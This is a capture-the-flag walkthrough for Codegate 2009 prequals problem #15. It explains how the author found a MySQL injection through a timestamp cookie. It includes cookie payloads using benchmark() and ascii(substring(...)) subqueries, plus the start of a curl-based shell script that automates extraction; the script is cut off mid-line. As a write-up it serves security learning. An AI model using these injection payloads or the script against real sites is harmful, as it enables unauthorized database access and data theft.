=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ---> Codegate 2009 (Prequals) - Problem #15 Walkthrough <--- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= { By: Román Medina-Heigl Hernández (aka RoMaNSoFt) } [22/Mar/09] --[ Intro ] ----- This little write-up describes how to solve problem #15 of Codegate 2009 prequals [http://hacking.beist.org/] held on March, 6-8th. It is supposed to be a more or less easy (200 points) web-based problem but well... you have to find the bug first :) The target application was running at: http://114.203.84.231/11233Web0700000/ --[ First approach ] -------------- You should start noticing that the main page was returning a Set-Cookie header: Set-Cookie: time=1236453312; expires=Sun, 08-Mar-2009 05:15:12 GMT The difficult part was to see the following HTML comment at the main page: The application also contained a forum at: http://114.203.84.231/11233Web0700000/bbs/ (we will come back into it later...) So you had a cookie which seems to be a timestamp (and indeed it was), that was rendered in a more friendly way at the bottom (inside an HTML comment). I didn't have any code but I thought it could be something like the following PHP excerpt: === date_default_timezone_set('Asia/Yakutsk'); $resultado=date("Y-m-d H:i:s",$time); echo "\n"; === The cookie parameter was injectable. This was easily deduced by performing some arithmetics. For instance, these were equivalent: time=1236453312 time=1236453313-1 I tried to inject SSI and PHP code, with no success. Moreover, some chars were filtered: / ; # . ' " (and many others, I don't recall all of them... Not only chars, some strings -"union", etc- were also prohibited). I was able to force some errors: codegate@hetzner:~$ curl http://114.203.84.231/11233Web0700000/ -b time=1 ...

... I found an (unintentional) information leak bug which confirmed my initial theory (PHP date() was involved). It was triggered when entering an invalid cookie "time" *for the first time*. This was coherent with another discovery: the date being printed in HTML comment has some sort of memory, I mean, some special (invalid) input caused the application to return *the last entered valid date*. This was interesting so I connected to the application from a different IP, entered an invalid cookie and that was when I found the information leak bug. --[ Getting details about SQLi ] -------------------------- So the algorithm seems to be: 1) If valid cookie entered -> save into database: time, IP (SQL "insert") 2) Retrieve time value from database (SQL "select") 3) Do some PHP magic and print timestamp in a friendly manner. Some kind of storage had to be involved. And it was a MySQL database. I noticed it when I entered: Cookie: time=benchmark(200000000, md5(version())) It worked! So we had a "semi-blind" SQL injection: not really blind because we had a numerical value (the timestamp) being printed and we could use it for getting any (numerical) data from database! You could use SQL subqueries: Cookie: time=(select ascii(substring(version(),1,1))) Cookie: time=(select ascii(substring(version(),2,1))) Cookie: time=(select ascii(substring(version(),3,1))) ... (finally you could obtain the version() string). --[ Exploiting SQLi ] --------------- I wrote a script to be able to execute SQL queries in an easy way: codegate@hetzner:~$ ./sql.sh Codegate - Prob 15 Query: Longitud: Contenido: codegate@hetzner:~$ Script source: ======== #!/bin/sh # Prob15 by RoMaNSoFt # [7/Mar/2009] debug=0 URL="http://114.203.84.231/11233Web0700000/" # Funciones debug() { [ $debug == 1 ] && echo "$1" } chr() { printf \\$(printf '%03o' $1) } ord() { printf '%d' "'$1" } doquery() { comentario=`curl -s "$URL" -b time="$time" | grep '